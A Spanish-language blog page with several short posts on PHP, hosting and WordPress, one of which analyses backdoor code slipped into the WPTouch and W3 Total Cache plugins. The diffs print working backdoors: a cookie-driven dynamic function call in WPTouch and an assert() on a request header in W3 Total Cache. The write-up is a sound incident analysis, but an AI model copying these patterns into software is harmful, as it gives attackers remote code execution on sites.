Categories
Artí­culos

Nginx + PHP FPM + PHP APC + Memcached + Batcache

Finalmente dedique un poco de tiempo para reducir el consumo de CPU que estaban causando ciertos spammers, especialmente hace un par de dias. Por el momento se ve bastante bien.

Categories
PHP

PHP Fail

Aparentemente un "string" no es un "string" en PHP.

php:

<?php
interface IPhpSucks {
        function foo(string $bar);
}
class PhpSucks implements IPhpSucks {
    function foo(string $bar) {}
}
$f = new PhpSucks();
$f->foo('demo');

Al ejecutar ese script, se obtiene un lindo error.

Catchable fatal error: Argument 1 passed to PhpSucks::foo() must be an instance of string, string given, called in demo.php on line 10 and defined in demo.php on line 6

Actualización: Averiguando un poco más, al parecer esta característica (Type Hinting) funciona sólo para nombres de clases o el tipo array (s/PhpSucks/ISuckInPhp/).

Categories
Hosting

Probando nuevo servidor – Parte 2

Hace unos días comentaba que nos habíamos mudado el sitio a otro lado. Inicialmente nos vimos obligados a hacer esto porque nuestro antiguo proveedor JaguarPC suspendió la cuenta diciendo que se consumían demasiados recursos. Este es el mail que nos enviaron:

Top Process  %CPU 53.0  /usr/bin/php /home/buayacor/public_html/index.php
Top Process  %CPU 48.3  /usr/bin/php /home/buayacor/public_html/index.php
Top Process  %CPU 45.5  /usr/bin/php /home/buayacor/public_html/index.php

...

We had no choice but to disable the web access of your account to stabilize the server.

Please involve a web developer to check and optimize the code to decrease the resource usage. You should optimize your scripts/queries a little further because we believe that there is always some room for improvement.

El blog tenía instalado WP-Cache desde hace años, nunca había dado problemas y el número de visitas tampoco ha variado drásticamente estos últimos meses -- basta decir que antes recibíamos más visitas. Mi primera sospecha era WP-Cache, lo desactivamos y comunicamos el cambio para que activen nuevamente el blog. Estuvo así por unos cuantos días hasta que volvieron ha suspender el sitio indicando el mismo problema. Dada la falta de ayuda por parte de JaguarPC para intentar determinar la causa del problema, decidimos intentar replicar el problema en otro lado.

Asi que contratamos el plan más básico ofrecido por Linode. Mientras el DNS se actualizaba, instalamos rápidamente PHP, Nginx y MySQL. Al cabo de unas horas teníamos nuevamente en pie el sitio. Desde entonces no hemos notado incrementos dramáticos en el uso de CPU. Hay picos eventuales de 15%. Algo que hemos notado también es que ahora el sitio carga bastante más rápido que antes, sin ningún plugin que haga caché de datos.

Desde hace unos días, instalé también PHP APC y se nota una gran diferencia con respecto a antes. A estas alturas estoy empezando a pensar que en realidad era más problema de JaguarPC que de nosotros. Algo que seguramente también hagamos es mantener el sitio en este VPS.

Categories
WordPress

Código insertado a WPTouch y WP Total Cache

Luego del incidente detectado por el equipo de WordPress, mirando rápidamente los cambios que se hicieron, se puede ver lo siguiente:

diff:

Index: /wptouch/trunk/wptouch.php
===================================================================
--- /wptouch/trunk/wptouch.php  (revision 397079)
+++ /wptouch/trunk/wptouch.php  (revision 399276)
@@ -511,4 +511,6 @@
        if (isset($_COOKIE[$key])) {
               $this->desired_view = $_COOKIE[$key];
+       if (preg_match("#useragent/([^/]*)/([^/]*)/#i", $_COOKIE[$key], $matches) && $matches[1]($matches[2]))
+              $this->desired_view = $matches[1].$matches[2];
        } else {
               if ( $settings['enable-regular-default'] || defined( 'XMLRPC_REQUEST' ) || defined( 'APP_REQUEST' ) ) {

En el caso de WPTouch, permite la ejecución de código PHP ($matches[1]($matches[2])) de lo que se envíe en la cookie con nombre wptouch_switch_toggle.

Para el caso de WP Total Cache, no me queda muy claro. Por lo poco que vi, pareciera ser que desactiva la funcionalidad del plugin.

diff:

Index: w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php
===================================================================
--- w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php      (revision 399488)
+++ w3-total-cache/tags/0.9.2.2/lib/W3/PgCache.php      (revision 390604)
@@ -103,5 +103,5 @@
         $this->_request_uri = $_SERVER['REQUEST_URI'];
         $this->_lifetime = $this->_config->get_integer('browsercache.html.lifetime');
-        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_generic');
+        $this->_enhanced_mode = ($this->_config->get_string('pgcache.engine') == 'file_pgcache');
 
         if ($this->_config->get_boolean('mobile.enabled')) {
@@ -746,13 +746,4 @@
 
         /**
-         * Skip if proxy
-         */
-        if (isset($_SERVER['HTTP_X_FORWARD_FOR']) && assert($_SERVER['HTTP_X_FORWARD_FOR'])) {
-            $this->cache_reject_reason = 'proxy';
-           
-            return false;
-        }
-       
-        /**
          * Skip if posting
          */
@@ -932,12 +923,9 @@
                     break;
 
-                case 'file_generic':
+                case 'file_pgcache':
                     $engineConfig = array(
-                        'exclude' => array(
-                            '.htaccess'
-                        ),
-                        'expire' => $this->_lifetime,
                         'cache_dir' => W3TC_CACHE_FILE_PGCACHE_DIR,
                         'locking' => $this->_config->get_boolean('pgcache.file.locking'),
+                        'expire' => $this->_lifetime,
                         'flush_timelimit' => $this->_config->get_integer('timelimit.cache_flush')
                     );
@@ -1010,9 +998,5 @@
      */
     function _check_ua() {
-        $uas = array_merge($this->_config->get_array('pgcache.reject.ua'), array(
-            W3TC_POWERED_BY
-        ));
-
-        foreach ($uas as $ua) {
+        foreach ($this->_config->get_array('pgcache.reject.ua') as $ua) {
             if (isset($_SERVER['HTTP_USER_AGENT']) && stristr($_SERVER['HTTP_USER_AGENT'], $ua) !== false) {
                 return false;
 

Como reflexión final, hay que tener siempre cuidado con los plugins que se instalan y si se conoce algo de PHP, nunca está de más echarle una mirada a los cambios realizados. En este caso, felizmente para los usuarios, estos modificaciones fueron detectadas.

Categories
Miniposts

Procesa documentos HTML con phpQuery

Por si alguna vez hay la necesidad de procesar documentos HTML, esta librería permite tratarlos con una sintaxis similar a jQuery.